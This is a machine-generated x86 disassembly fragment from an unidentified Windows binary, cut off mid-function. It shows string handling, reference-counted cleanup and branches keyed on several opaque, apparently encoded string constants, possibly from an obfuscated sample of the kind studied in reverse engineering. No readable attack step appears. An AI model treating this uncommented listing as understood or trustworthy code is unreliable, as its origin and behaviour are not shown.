lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052e1c0
add esp, 8
lea ecx, [ebp - 0x1a8]
call fcn.00436780
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.00437920
lea ecx, [ebp - 0x1a8]
call fcn.00436700
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 8
cmovae ecx, dword [ebp - 0xd0]
call fcn.00468670
lea ecx, [ebp - 0xd0]
call fcn.00430800
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x52dc3f
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a4b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcd4
jmp 0x52a4b0
sub esp, 0x18
mov ecx, esp
push 0x5c8748
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52ace5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52acb0
sub ecx, dword [ebp - 0x24]
je 0x52ace5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52ace5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52acd0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52acec
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52ad20
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52ad16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcd9
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52b5d1
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52ad60
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052e1c0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xe8], xmm0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
movups xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0xe8]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.0044c4d0
add esp, 0x14
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dcde
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.M2JDubH8DaMBh6iJg
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xd
call fcn.00430f00
test al, al
jne 0x52ae71
push 0x13
push str.M2JDubH8DaMBh6iJg
lea ecx, [ebp - 0x2c]
call fcn.00431230
mov byte [ebp - 4], 0xe
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dce8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push str.bmdQMeCIGQIww60Dj0d
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xf
call fcn.00430f00
test al, al
jne 0x52aeb5
push 0x13
push str.bmdQMeCIGQIww60Dj0d
lea ecx, [ebp - 0x34]
call fcn.00431230
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5cd488]
lea ecx, [ecx - 0x10]
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00447160
add esp, 4
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x11
call fcn.00436780
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xe8]
cmp dword [ebp - 0xd4], 0x10
mov eax, dword [ebp - 0xd8]
cmovae ecx, dword [ebp - 0xe8]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.00437920
lea ecx, [ebp - 0x1a8]
call fcn.00436700
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x3c], edi
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dcf2
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.00430f00
test al, al
jne 0x52afa8
test esi, esi
jne 0x52af84
xor ecx, ecx
jmp 0x52af9f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x52af90
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.00431230
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00447160
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.0044a870
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.00430800
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5cd488]
lea ecx, [ecx - 0x10]
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00447160
add esp, 4
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x17
call fcn.00436780
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0x10
mov eax, dword [ebp - 0x120]
cmovae ecx, dword [ebp - 0x130]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.00437920
lea ecx, [ebp - 0x1a8]
call fcn.00436700
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x3c], edi
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dcfc
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.00430f00
test al, al
jne 0x52b0dc
test esi, esi
jne 0x52b0bf
xor ecx, ecx
jmp 0x52b0d3
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x52b0c4
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.00431230
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00447160
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.0044a870
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.00430800
mov byte [ebp - 4], 0x1d
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd06
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd10
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x4c], eax
push str.OFRXnakN2nNhpIMdm1KSQ3Y5nBUw9gMQNbJNSMDIVzokaSAJ0oLEhXVMjEPSSh0k7JUgx0OUgC6dCMYcTTEqpF0U
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x1f
call fcn.00430f00
test al, al
jne 0x52b188
push 0x59
push str.OFRXnakN2nNhpIMdm1KSQ3Y5nBUw9gMQNbJNSMDIVzokaSAJ0oLEhXVMjEPSSh0k7JUgx0OUgC6dCMYcTTEqpF0U
lea ecx, [ebp - 0x4c]
call fcn.00431230
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xd0]
push 0x9f
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
push str.NFFkCSk9zkBTpEyc14xGFj4CGLFEjIRnBPwcwssIUjQWtA1o3qC2gOVKkY_aRj1GYcBZ0jEzkWtfUYlTXTVGScBEmeF2YWsPhAzuRDRGKcBZ0nEzkWvLBlmkFiIMIJUMOAEyNaaNQs9mFmtGmJVI3hATgWeLBk
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xbc], 0
call fcn.0042cb00
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x21
call fcn.00436780
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x84]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.00437920
lea ecx, [ebp - 0x1a8]
call fcn.00436700
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea ecx, [ebp - 0x1f8]
cmovae eax, dword [ebp - 0x68]
mov dword [ebp - 0x40], eax
call fcn.00436780
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xe8]
cmp dword [ebp - 0xd4], 0x10
mov eax, dword [ebp - 0xd8]
cmovae ecx, dword [ebp - 0xe8]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00437920
lea ecx, [ebp - 0x1f8]
call fcn.00436700
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x118]
cmp dword [ebp - 0x104], 8
lea ecx, [ebp - 0x1a8]
cmovae edi, dword [ebp - 0x118]
call fcn.00436780
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.00437920
lea ecx, [ebp - 0x1a8]
call fcn.00436700
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xd0]
push eax
call fcn.004306a0
lea ecx, [ebp - 0x24]
call fcn.00446d80
mov byte [ebp - 4], 0x28
push dword [ebp - 0x40]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00422bb0
mov edx, dword [ebp - 0x24]
add esp, 0x2c
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b325
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.00430800
lea ecx, [ebp - 0x118]
call fcn.00430800
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x21
call fcn.00430800
mov eax, dword [ebp - 0x38]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x40], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x4c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00447160
mov ecx, dword [ebp - 0x40]
add esp, 4
call fcn.004655a0
mov eax, dword [ebp - 0x38]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x40], eax
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004655a0
mov ecx, dword [ebp - 0xbc]
cmp ecx, 8
jb 0x52b3ec
mov edx, dword [ebp - 0xd0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x52b3e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dd1a
push ecx
push edx
call fcn.00550d24
add esp, 8
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b406
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b41d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b434
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52b449
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x52b480
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52b476
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dd1a
push ecx
push edx
call fcn.00550d24
add esp, 8
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x52b4cf
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52b4c5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dd1a
push ecx
push edx
call fcn.00550d24
add esp, 8
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp ecx, 0x10
jb 0x52b524
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52b51a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dd1a
push ecx
push edx
call fcn.00550d24
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
cmp ecx, 0x10
jb 0x52b579
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52b56f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dd1a
push ecx
push edx
call fcn.00550d24
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52dc3f
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a4b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dd1a
jmp 0x52a4b0
sub esp, 0x18
mov ecx, esp
push 0x5c87a8
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52b635
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b600
sub ecx, dword [ebp - 0x24]
je 0x52b635
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52b635
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52b620
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52b63c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52b670
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52b666
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dd1f
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52b908
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b6b0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052e1c0
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd24
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x2c
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd2e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x2e
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd38
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x30
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd42
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x32
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd4c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x9c]
call fcn.0044ac30
mov esi, dword [ebp - 0x38]
add esp, 0x14
mov ecx, 0x5cd564
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00424320
mov edi, dword [ebp - 0x70]
cmp byte [edi + 0xd], 0
jne 0x52dd56
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00428780
test al, al
jne 0x52dd56
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.004305b0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
mov dword [ebp - 0x6c], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.004305b0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x4c]
add eax, 0xfffffff0
mov dword [ebp - 0x3c], esp
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.004305b0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xb8], esp
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.004305b0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x70], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
call fcn.004305b0
mov ecx, dword [ebp - 0x40]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.004068c0
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b8a8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b8bf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b8d6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b8ed
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x52b594
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x52b594
sub esp, 0x18
mov ecx, esp
push 0x5c88e0
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52b965
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b930
sub ecx, dword [ebp - 0x30]
je 0x52b965
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52b965
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52b950
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52b96c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52b9a0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52b996
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dd1a
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52bb62
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b9e0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd60
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd6a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x3d
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd74
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.0044d9b0
mov eax, dword [ebp - 0x38]
add esp, 4
mov esi, esp
mov dword [ebp - 0x70], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xb8], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.004305b0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xb8], esp
mov ecx, eax
mov dword [ebp - 0x40], eax
call fcn.004305b0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.004305b0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.00408780
mov edx, dword [ebp - 0x30]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52bb2d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52bb44
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52b594
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x52b594
sub esp, 0x18
mov ecx, esp
push 0x5c86e8
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52bbc5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52bb90
sub ecx, dword [ebp - 0x30]
je 0x52bbc5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52bbc5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52bbb0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52bbcc
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52bc00
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52bbf6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dd1a
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52bec5
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
